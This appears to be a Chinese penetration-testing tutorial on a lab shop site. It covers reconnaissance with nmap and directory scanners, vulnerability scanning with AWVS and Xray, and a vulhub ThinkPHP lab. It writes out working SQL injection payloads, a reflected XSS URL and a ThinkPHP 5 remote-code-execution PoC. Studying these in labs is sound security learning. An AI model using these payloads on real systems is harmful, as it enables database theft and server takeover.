项目实战(webshop)

embedded/2024/11/22 15:16:29/

一、搭建靶场webshop(www.example1.com)

二、信息收集

1、获取IP

win+R→cmd→ping www.example1.com→显示出ip(192.168.51.128)

注:TTL为IP包的生存时间,拿到TTL我们可以大概的判断一下目标机器的操作系统,但不是很准确,因为TTL是可以修改的,TTL=64:Linux  TTL=128:windows

这里获得到的TTL=64,大概可以判断服务器为Linux系统

2、nmap

打开kali→查看nmap版本(nmap -v)确定安装了nmap→执行探测命令:

nmap -o -sv 192.168.51.128

# -o表示要探测目标主机的操作系统

# -sv表示要探测目标主机的版本指纹

nmap -p 192.168.51.128  #探测目标主机的端口

收集到的信息有:Linux操作系统,开放端口:20、21、22、80、443、888

3、敏感目录

在浏览器测试常见的敏感目录(/admin、/web.config、/roobts.txt),如果没有可以尝试使用各种目录扫描工具扫描(如御剑、铸剑、dirsearch、dirmap等)

注:常见的敏感目录这个站点都能访问,这里使用工具来进行扫描

3.1、铸剑(7kbscan)

打开铸剑→扫描目标(www.example1.com)→切换加载dir→选择字典→开始

根据扫描结果可以判定目标站点有admin页面而且编程语言是php,但是访问扫描成功的URL发现都是在主页。经过研判发现这个规则为只要URL中存在后缀名、点或者一些特殊字符则会显示主页,否则显示自定义的错误页面。其实这也是一种防止目录扫描的方式,这种方式与waf拦截不同,waf拦截我们可以尝试修改UA头,挂代理,延迟等方式来绕过,而这种方式无法被绕过。

遇到这种情况我们可以换一种工具来进行目录扫描,如dirmap

3.2、dirmap

打开kali→dirmap需要一个python3的环境才能运行,检查环境(python --version、pip --version)→没安装dirmap的话需要先安装一下→打开dirmap(1、cd  /opt/dirmap   #安装在了opt下   

2、python3  dirmap.py  -h    #可用 -i和 -lcf两个参数)→开始扫描目标站点(python3  dirmap.py  -i  www.example1,com  -lcf)→扫描结果放在了output目录下,打开看看(cd  output      vim  www.example1.com,txt)

收集到的信息有:存在/admin目录且编程语言是php

4、其他信息

通过观察,我们发现站点底部信息,还能得知待测试站点基于iwebshop开发,可以去网上找一下iwebshop已知漏洞

5、信息汇总

目前收集到的信息有:

        域名:www.example1.com              IP:192.168.51.128

        操作系统:Linux                              开放端口:20、21、22、80、443、888

        开发语言:PHP                               cms:iwebshop

        后台登陆地址:http://www.example1.com/admin/

三、web漏洞

1、通用扫描工具AWVS

1.1、安装

1.2、设置中文

1.3、扫描目标

1.4、验证漏洞

可以看到里面包含xss漏洞,可以试着攻击一下

再试试sql注入

爆数据库版本:'and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) and 'VrnL'='VrnL   得到数据库版本为:5.7.43-log

爆数据库用户名:'and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) and 'VrnL'='VrnL       得到数据库名:www_example1_com@localhost

再试试反射型xss

http://www.example1.com/index.php?action=search_list&controller=site&word=1'''><script>alert(xss)</script>

直接弹窗

2、框架漏洞

程序员在编写程序的时候,都会用到一些框架,不同的语言有不同的框架,例如JAVA的spring,python的diango,php的ThinkPHP等。

下面以ThinkPHP为例学习一下框架漏洞

ThinkPHP版本有很多,现在主要是ThinkPHP5和ThinkPHP6,接下来我们看几个漏洞 接下来我们通过vulhub靶场来复现 首先要安装docker、docker-compose,同样是用到了kali虚拟机

安装docker和docker-compose #添加docker的gpg密钥,签名用的                                              curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -      #添加docker的apt源                                                                                                                       echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list                                                                                                         #更新apt缓存                                                                                                                                apt update                                                                                                                                          #安装docker                                                                                                                                sudo apt-get install docker docker-compose -y     或                                                                        sudo apt-get install docker.io -y                                                                                                    sudo apt-get install docker-compose -y                                                                                            #如果docker-compose安装有问题,可以用以下命令安装                                                              sudo curl -L https://github.com/docker/compose/releases/download/1.16.1/docker/compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose                                                                #装完之后执行以下命令,添加权限                                                                                                    sudo chmod +x /usr/local/bin/docker-compose                                                                                   #安装完成之后,docker就自动启动了                                                                                  systemctl status docker                                                                                                                    #查看docker版本                                                                                                                         docker -v

docker安装好之后再来安装vulhub靶场

cd到vulhub目录下(vulhub靶场已安装好),可以看到有很多框架对应的目录,同时也有我们要用到的thinkphp → cd到thinkphp目录下,可以看到有几个漏洞可以复现,其中有5-rce和5.0.23-rce,接下来来学习一下这两个漏洞

首先来删除一下之前执行过的docker容器:docker  rm  -f  ‘容器名’

2.1、ThinkPHP5.0.22/5..1.29远程代码执行漏洞

清空之后我们再将5-rce拉起来

cd  5-rce     docker-compose  up  -d → 出现错误,需要配置docker代理服务器(配置好后直接访问kali的ip地址192.168.51.129端口号8080,就可以进入靶场),进入网页→打开burp抓包→发送到Repeater,关闭拦截→将Poc(http://192.168.79.137:8081/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_e xec&vars[1][]=id)粘贴到请求框中,发送请求→响应包中得到我们请求的id值→将Poc中的id改为ls,就能执行ls命令拿到目录下的所有文件和目录名称

至此就完成了一次远程命令执行

四、系统漏洞探针

扫描器分为两种,web漏洞扫描器和系统漏洞扫描器,前面我们用到的AWVS就是web漏洞扫描器 有些web漏洞扫描器也能扫描一些系统漏洞,但是没有专业的系统漏洞扫描器那么强大,系统漏洞扫描器涵盖了系统中数据库的漏洞、操作系统漏洞、系统软件漏洞(ssh、ftp等)、web服务应用程序漏洞等web漏洞扫描一般是扫描web程序漏洞,系统漏洞扫描器比较出名的有:启明星辰的天镜、绿盟科技的极光漏洞扫描器。

1、Goby

Goby是一款新的网络安全测试工具,它能够针对一个目标企业梳理最全的攻击面信息同时能进行高效、实战化漏洞扫描并快速地从一个验证入口点,切换到横向。

2、Nessus

Nessus 是目前全世界最多人使用的系统漏洞扫描与分析软件,国外开发的总共有超过75,000个机构使用Nessus 作为扫描该机构电脑系统的软件,可以以用户指定的格式(ASCII 文本、html 等)产生详细的输出报告,包括目标的脆弱点、怎样修补漏洞以防止黑客入侵及危险级别。

3、漏洞利用(ms17-010)

我们复现用到的工具是msf,全称是Metasploit Fraemework,是一个非常好用而且简单的工具 其中准备了大量的模块共使用,输入命令就可以直接完成测试 同样,还是用到我们熟悉的kali虚拟机。

过程:永恒之蓝漏洞复现(可查找其他文章,这里不再赘述)

五、Xray

xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:                                                                                                                                                检测速度快:发包速度快; 漏洞检测算法效率高。                                                                              支持范围广:大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。      代码质量高:编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码 可靠性。                                                                                                                                    高级可定制:通过配置文件暴露了引擎的各种参数,通过修改配置文件可以客制化功能。            安全无威胁:xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为 无害化检查。

1、下载和运行

2、扫描单个url

xray有四种模式,单个url扫描,多个url扫描,爬虫模式,代理模式

单个url扫描:

.\xray_windows_amd64.exe webscan --url http://www.example1.com/ --html-output 1.html

只扫描出三个敏感目录

扫描sql注入漏洞,需要给它指定携带参数的url,不然xray也扫描不出来sql注入漏洞。

.\xray_windows_amd64.exe webscan --url http://www.example1.com/index.php? action=search_list'&'controller=site'&'word=1 --html-output 2.html

扫描出的结果就比较多,有xss,有sql

注意:为什么使用 --url 指定目标扫描很快就结束了? 在指定 --url URL 的情况下,xray 只会针对该 URL 本身进行漏洞检测,不会爬取网站内容。 比如,你输入 --url https://baidu.com ,xray 只会检测百度首页的漏洞,这种情况下通常是无法扫描出漏洞的。如果你需要利用爬虫爬取页面后再检测漏洞,可以使用 --basic-crawler 选项。

3、扫描多个url

准备url.txt文件                                                                                                                                           965c9f787c9e4a17a674cddf45aa57ab.png扫描命令:.\xray_windows_amd64.exe webscan --url-file .\url.txt --html-output 3.html                    扫描出来结果是差不多的,只不过是执行了多个单个url扫描而已。

4、爬虫模式

4.1、没有登录扫描

命令:.\xray_windows_amd64.exe webscan --basic-crawler http://www.example1.com/ -- html-output 4.html

没有登陆的扫描,直接执行命令就行了,我们原理和AWVS差不多,都是用爬虫去爬数据,所以耗时会 久一点。

4.2、指定登录扫描

修改配置文件

a0a73031bcbf43f1bb8bf2456291e0aa.png

命令:.\xray_windows_amd64.exe webscan --basic-crawler http://www.example1.com/ -- html-output 5.html

结果中发的数据包都带上了Cookie

5、代理模式

接下来呢,我们来讲讲代理模式,这是和其他扫描工具不同的,也是xray的一个特点 xray的代理模式类似于burp,是被动扫描,但是比burp自动化更高 现在市面上用xray很多,就是因为它的爬虫模式和代理模式结合。

5.1、扫描http

输入命令:.\xray_windows_amd64.exe webscan --listen 0.0.0.0:8080 --html-output 1.html                       # --listen 监听,就是代理模式 这里我们监听的0.0.0.0,意思是所有IP的数据,端口是8080            # --html-output 将结果导出html格式的文件

→这就是开始监听了,然后我们设置一下代理 在任务栏搜索一下“代理”,点击代理服务器设置→打开浏览器,访问靶机的网站→可以看到,我们xray就已经监听到有数据流过来了→输入ctrl+c,中断监听→在xray的文件夹下面就生成了一个1.html

5.2、安装证书、扫描https

我们的靶场是http的网页,如果想要扫https的网页怎么办呢 我们要先安装证书 可以看到我们运行了xray的监听模式之后,文件夹下会生成一个ca.crt文件,这个就是证书。安装好证书之后就可以直接扫https的网站了。

5.3、联动burp

xray还可以和burp联动 有两种模式,一种是xray将数据包转给burp,另一种是burp抓到包之后再转给burp 第一种,这种模式主要是用来研究xray用的,可以用burp看到和学习xray的一些payload。

 


http://www.ppmy.cn/embedded/139648.html

相关文章

FastAdmin接口传参获取获取不同语言的相应。

1.在application\config.php 里开启多语言 // 是否开启多语言lang_switch_on > true,// 默认全局过滤方法 用逗号分隔多个default_filter > ,// 默认语言default_lang > zh-cn,// 允许的语言列表allow_lang_list > [zh-cn, en], …

【云原生后端开发流程及详细教程】

云原生后端开发流程及详细教程 一、前期规划二、开发阶段三、部署阶段四、监控与优化一、前期规划 需求分析 明确后端要实现的功能。例如,构建一个简单的待办事项(To - Do)列表应用的后端,需要支持用户创建、读取、更新和删除(CRUD)待办事项。功能包括用户注册/登录、任务…

Objective-C 1.0和2.0有什么区别?

Objective-C ObjC比较小众&#xff0c;在1980年左右由Stepstone公司的Brad Cox和Tom Love发明。后来NeXT公司获得ObjC语言使用权&#xff0c;再后来到1996年NeXT被苹果公司收购也变成苹果公司使用&#xff0c;Mac市场占有率本身就不高&#xff0c;ObjC没有太多程序员。在移动互…

ModuleNotFoundError: No module named ‘distutils.msvccompiler‘ 报错的解决

报错 在conda 环境安装 numpy 时&#xff0c;出现报错 ModuleNotFoundError: No module named distutils.msvccompiler 解决 Python 版本过高导致的&#xff0c;降低版本到 Python 3.8 conda install python3.8即可解决。

C# .Net Core通过StreamLoad向Doris写入CSV数据

以下代码可以只关注StreamLoad具体实现。 1.创建StreamLoad返回值Model public class StreamLoadResponse {public long TxnId { get; set; }public string Label { get; set; }public string Comment { get; set; }public string TwoPhaseCommit { get; set; }public string…

【Linux学习】【Ubuntu入门】1-7 ubuntu下磁盘管理

1.准备一个U盘或者SD卡&#xff08;插上读卡器&#xff09;&#xff0c;将U盘插入主机电脑&#xff0c;右键点击属性&#xff0c;查看U盘的文件系统确保是FAT32格式 2.右键单击ubuntu右下角图标&#xff0c;将U盘与虚拟机连接 参考链接 3. Ubuntu磁盘文件&#xff1a;/dev/s…

Oracle维护控制文件

学习目标 解释控制文件的用法列出控制文件的内容多路复用和管理控制文件使用Oracle Managed Files获取控制文件信息 控制文件 控制文件是小的二进制文件定义了物理数据库的当前状态维护数据库的完整性需要在数据库启动期间处于mount状态、操作链接到单个数据库丢失可能需要恢…

offsetof的实现

大家好&#xff0c;今天给大家分享一下offsetof宏是如何实现的&#xff0c;那么话不多说我们直接开始。 我们要实现这个宏&#xff0c;我们必须先了解这个宏的作用&#xff0c;它是用来求结构体成员变量的偏移量。 我们先来看看它在cplusplus网站中的介绍吧 那么根据这个网站…